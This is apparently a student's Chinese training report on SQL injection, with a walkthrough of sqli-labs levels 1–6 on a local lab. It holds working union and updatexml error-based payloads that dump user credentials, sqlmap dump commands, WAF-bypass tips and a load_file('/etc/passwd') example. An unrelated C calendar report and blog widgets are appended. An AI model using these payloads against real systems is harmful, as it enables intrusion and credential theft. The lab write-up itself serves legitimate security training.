实习实训day5

要求

1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
2.sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap
3.总结SQLi的手工注入的步骤
4.使用sqlmap通过或验证第六关

SQL注入总结

原理

SQL注入是一种针对后台数据库的攻击手段,其原理在于攻击者通过精心构造的恶意SQL命令插入到Web表单的输入域或页面请求中,当服务器执行这些SQL命令时,可以实现对数据库的非法操作,如猜解、查询、删除、添加数据等。SQL注入的漏洞条件通常包括输入参数用户可控、参数被带入数据库查询且未经过滤或验证。

常用函数

  1. version():返回数据库的版本信息,可以利用此信息来查找针对特定版本的数据库漏洞。
SELECT version();
  1. user():返回当前数据库的用户名,可以利用此信息来尝试进行权限提升或找到相关用户的敏感信息。
SELECT user();
  1. database():返回当前数据库名,可以利用此信息来尝试访问或操作其他数据库。
SELECT database();
  1. concat():拼接字符串,将多个字符串值连接成一个字符串。可以利用此函数来构造特定的输出,以便更容易地读取或理解数据。
SELECT concat(username, ' ', password) FROM users WHERE id = 1; # 将username和password字段的值拼接成一个字符串,中间用空格分隔
  1. group_concat():将多个行的列值连接成一个字符,可以利用此函数来获取多个值,而不需要分别查询每一行。
SELECT group_concat(username) FROM users; # 将users表中所有行的username字段的值连接成一个字符串。
  1. sleep():使数据库查询暂停执行指定的时间,常用于时间盲注。可以利用此函数来测量查询的执行时间,从而推断出某些信息。
SELECT sleep(5);
  1. if():根据条件返回不同的值,可用于逻辑判断。
SELECT if(user() = 'root', 'admin', 'user') as privilege; # 如果当前数据库用户是root,则返回admin,否则返回user。
  1. updatexml():XML更新函数,当第二个参数XPath格式错误时会报错,同时将传入的参数进行输出。常用于报错注入。
SELECT updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1); # XPath表达式是错误的,会导致数据库报错。报错信息中会包含user()函数的结果,从而泄露数据库用户信息。
  1. extractvalue():XML提取值函数,与updatexml()类似,也用于报错注入。
SELECT extractvalue(1, concat(0x7e, (SELECT user()), 0x7e));
  1. load_file():读取文件内容,常用于读取服务器上的敏感文件。
SELECT load_file('/etc/passwd'); # 尝试读取服务器上的/etc/passwd文件。

防御手段

  • 对用户进行分级管理:严格控制用户的权限,禁止普通用户执行敏感操作。
  • 参数化查询:在编写SQL语句时,通过参数化查询来传递变量,避免直接将用户输入拼接到SQL语句中。
  • 输入验证:对用户输入的数据进行严格验证和过滤,特别是过滤掉单引号、双引号等特殊字符。
  • 使用安全参数:利用数据库提供的安全参数来确保输入的安全性。
  • 定期扫描和检测:使用专业的扫描工具定期检测系统中的SQL注入漏洞。
  • 多层验证:在客户端和服务器端都进行输入验证,确保输入数据的安全性。
  • 数据库信息加密:对敏感数据库信息进行加密存储,防止数据泄露。

绕过waf的方法

  • 注释符号绕过:使用SQL注释符号(如–、/**/、#)来隐藏恶意SQL代码,使其不会被WAF识别或过滤。
  • 编码绕过:通过URL编码、Unicode编码等方式来隐藏恶意SQL代码,绕过WAF的检测。
  • 大小写绕过:利用数据库系统对大小写不敏感的特性,将SQL关键字写成不同的大小写形式来绕过基于大小写的过滤器。
  • 特殊字符绕过:使用引号、逻辑运算符等特殊字符构造恶意SQL代码,绕过WAF的检测。
  • 逻辑漏洞绕过:利用应用程序或数据库的逻辑漏洞,结合盲注技术来绕过WAF的检测。

SQL注入靶场

项目源码:

https://github.com/Audi-1/sqli-labs

第一关

提示输入变量id:
image.png
令id=1:
image.png
令id=2-1:
image.png
查询结果与id=1不同,说明此处为字符型。
使用union注入:

id=2' union select 1; --+

image.png
提示列数不对,依次增加select后面的列数,直到成功查询:

id=2' union select 1,2,3; --+

image.png
说明这个表有3列。
但这里仅显示了查询出的第一条记录,说明后台代码可能限制了显示的记录数。
用limit语句查看其他记录:
image.png
可以看到成功显示出了union select的查询结果。
爆库名:

id=2' union select 1,database(),3 limit 1,1; --+

image.png
库名为security。
爆表名:

id=2' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' limit 1,1; --+

image.png
可以看到其中有个users表。
爆users表的列名:

id=2' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' limit 1,1; --+

image.png
可以看到users表的列为id,username和password。
爆user列和password列:

id=2' union select 1,group_concat(username),group_concat(password) from users limit 1,1; --+

image.png
可见成功得到了所有的用户名和密码。
看一下源码:
image.png
可见id变量直接被作为单引号字符串拼接到了sql语句里,并且使用了mysql_fetch_array()函数使得最终仅会展示查询到的第一条结果。

第二关

与第一关一样,测试一下id=1和id=2-1的查询结果:
image.png
image.png
结果一样,说明为数字型。
测试一下union注入:

id=1 union select 1,2,3 limit 1,1;--+

image.png
可见成功注入。
直接使用和上一关同样的方法:

id=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1; --+ # 爆表名,得到users
id=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() limit 1,1; --+ # 爆列名,得到username和password
id=2 union select 1,group_concat(username),group_concat(password) from users limit 1,1; --+

image.png
看一下源码:
image.png
可见这一关id直接被拼接到了sql语句里。

第三关

测试id=2-1的结果与id=2的结果一致,说明为字符型:
image.png
尝试使用union注入:

id=2' union select 1,2,3 --+

image.png
根据报错信息,可以推断出输入的单引号成功闭合了原始查询语句中,id变量前面的那个单引号。但id变量后面的那个单引号之后还有一个反括号),说明这里的id变量还被括号包裹。
因此再加个反括号闭合原始查询语句中的括号:

id=1') union select 1,2,3; --+

image.png
之后使用和前面同样的union注入方式:

id=1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1; --+ # 爆表名,得到users
id=1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() limit 1,1; --+ # 爆列名,得到username和password
id=1') union select 1,group_concat(username),group_concat(password) from users limit 1,1; --+

image.png
看一下源码:
image.png
可见id确实被单引号加括号包裹。

第四关

测试id=2-1的结果与id=2的结果一致,说明为字符型:
image.png
注入单引号,没有报错:
image.png
注入双引号,报错。并且报错信息中还有个反括号,说明这里的id变量同时被双引号和括号包裹:
image.png
之后使用和前面同样的union注入方式,闭合双引号和括号即可:

id=2") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1; --+ # 爆表名,得到users
id=2") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() limit 1,1; --+ # 爆列名,得到username和password
id=2") union select 1,group_concat(username),group_concat(password) from users limit 1,1; --+

image.png
看一下源码:
image.png
可以看到id变量确实被双引号加括号包裹。

第五关

测试id=1:
image.png
加单引号,报错,说明id被单引号包裹:
image.png
之后经测试,发现查询成功的结果只会显示You are in…:
image.png
由于该题会提示报错信息,所以利用updatexml()函数,在其第二个参数处执行SQL语句,这样就会在报错信息中显示出查询结果(这里的0x7e为~的ASCII码,主要是为了在报错信息里区分出查询结果):

id=1' union select 1,updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1),3 limit 1,1;--+

image.png
之后同样在updatexml()的第二个参数处注入SQL语句即可:

id=1' union select 1,updatexml(1, concat(0x7e, (SELECT group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1),3 limit 1,1;--+
id=1' union select 1,updatexml(1, concat(0x7e, (SELECT group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()), 0x7e), 1),3 limit 1,1;--+
id=1' union select 1,updatexml(1, concat(0x7e,(SELECT group_concat(username) from users), 0x7e), 1),3 limit 1,1;--+
id=1' union select 1,updatexml(1, concat(0x7e,(SELECT group_concat(password) from users), 0x7e), 1),3 limit 1,1;--+

爆表名:
image.png
爆列名:
image.png
爆用户名、密码:
image.png
image.png
这里由于updatexml()对输出的字符长度做了限制,导致最长只能显示32位。
看一下源码:
image.png
可以看到这题对id变量没有太多限制,而是不显示数据查询成功的结果。因此这题也可以用盲注的方法爆出信息。

第六关(Sqlmap)

先测试一下是否存在SQL注入点:

python sqlmap.py -u http://127.0.0.1:8081/sqli-labs/Less-6/?id=1

image.png
image.png
测试结果显示,id变量存在注入点,使用的是GET方法,注入方法可以是布尔盲注、报错注入或时间盲注。此外还测试出了我搭建靶场的本地Web环境的版本信息。
爆当前使用的数据库名(如果要爆所有库名就用--dbs):

python sqlmap.py -u http://127.0.0.1:8081/sqli-labs/Less-6/?id=1 --dbms=MySQL --current-dbs

image.png
image.png
爆表名:

python sqlmap.py -u http://127.0.0.1:8081/sqli-labs/Less-6/?id=1 --dbms=MySQL -D 'security' --tables

image.png
image.png
爆字段:

python sqlmap.py -u http://127.0.0.1:8081/sqli-labs/Less-6/?id=1 --dbms=MySQL -D 'security' -T 'users' --dump

image.png
image.png
爆出的数据同时也被存放在了csv文件中:
在这里插入图片描述

手工注入步骤总结

  1. 判断有无注入点

目标:确定应用程序的输入点是否存在SQL注入漏洞。
方法

  • 尝试在输入点插入单引号(')、双破折号(--)等特殊字符,并观察应用程序的响应。如果应用程序返回数据库错误消息或行为异常,则可能存在SQL注入漏洞。
  • 使用and 1=1and 1=2等逻辑判断语句,观察页面返回内容是否有变化。如果and 1=1导致页面正常显示,而and 1=2导致页面异常或返回不同的内容,则进一步确认存在SQL注入的可能性。
  1. 猜解列名数量

目标:确定数据库表中列的数量,以便后续构造正确的UNION SELECT语句。
方法

  • 在注入点后面添加ORDER BY 数字语句,逐渐增加数字的值,直到出现错误消息(如“未知的列”或“索引超出范围”等)。出现错误时,前一个数字通常就是表中的列数。
  1. 判断回显点
  • 目标:确定哪些位置可以回显查询结果,以便在后续步骤中显示数据库信息。
  • 方法
    • 使用UNION SELECT语句结合已知数量的列和自定义数据(如1,2,3,...),尝试在页面中不同位置显示这些数据。观察哪些位置能够显示自定义数据,这些位置就是可能的回显点。
    • 使用CONCAT()等函数将多个查询结果合并为一个字符串,并尝试在回显点显示。
  1. 信息收集
  • 目标:收集数据库的结构信息,包括数据库版本、当前数据库名、数据库中的表名及列名等。
  • 方法
    • 使用version()函数获取数据库版本信息。
    • 使用database()函数获取当前数据库名。
    • 查询information_schema数据库中的schematatablescolumns表,获取数据库、表和列的信息。使用GROUP_CONCAT()函数将多个结果合并为一个字符串,便于在单个查询中返回大量信息。
    • 使用@@global.version_compile_os等系统变量获取操作系统信息,进一步了解目标环境。
  1. 查找敏感数据
  • 目标:利用收集到的信息,构造SQL语句以访问或操作数据库中的敏感数据(如用户账号、密码等)。
  • 方法
    • 根据已知的表名和列名,直接查询敏感数据。例如,使用SELECT column_name FROM table_name WHERE condition语句获取特定条件下的数据。
    • 如果数据库支持文件读写或命令执行等高级功能,可以利用这些功能进行更高级的攻击。
  • 10
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是一个简单的C语言万年历的实训报告,供您参考: 一、实训目的 本次实训的主要目的是通过编写一个简单的C语言万年历程序,巩固C语言基本语法和编程思想,提高编程能力和解决问题的能力。 二、实训要求 1、能够使用C语言基本语法和控制语句编写程序。 2、能够使用数组来存储和操作数据。 3、能够使用函数来实现模块化编程。 4、能够使用指针来操作内存中的数据。 5、能够使用文件来读取和写入数据。 三、实训内容 1、程序功能 本程序实现了一个简单的万年历功能,可以通过输入年份和月份来显示该月的日历。 2、程序实现 以下是本程序的主要代码实现: ```c #include <stdio.h> // 判断是否为闰年 int is_leap_year(int year) { if ((year % 4 == 0 && year % 100 != 0) || year % 400 == 0) { return 1; } else { return 0; } } // 获取某个月份的总天数 int get_days(int year, int month) { int days[] = {31, 28 + is_leap_year(year), 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}; return days[month - 1]; } // 获取某个日期是星期几 int get_weekday(int year, int month, int day) { if (month == 1 || month == 2) { year--; month += 12; } int c = year / 100; int y = year % 100; int w = y + y / 4 + c / 4 - 2 * c + 26 * (month + 1) / 10 + day - 1; w = (w % 7 + 7) % 7; return w; } // 显示日历 void show_calendar(int year, int month) { int days = get_days(year, month); int weekday = get_weekday(year, month, 1); printf(" 日 一 二 三 四 五 六\n"); int i; for (i = 0; i < weekday; i++) { printf(" "); } for (i = 1; i <= days; i++) { printf("%2d ", i); if ((weekday + i) % 7 == 0) { printf("\n"); } } if ((weekday + days) % 7 != 0) { printf("\n"); } } int main() { int year, month; printf("请输入年份:"); scanf("%d", &year); printf("请输入月份:"); scanf("%d", &month); if (month < 1 || month > 12) { printf("月份输入错误!\n"); return 1; } printf(" %d年%d月\n", year, month); show_calendar(year, month); return 0; } ``` 四、实训总结 通过本次实训,我学会了如何使用C语言来编写一个简单的万年历程序,巩固了C语言基本语法和编程思想,加强了对函数、数组、指针、文件等概念和用法的理解,提高了编程能力和解决问题的能力。同时,我也意识到在编程过程中需要注重代码的规范、可读性和可维护性,这对于日后的开发工作非常重要。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值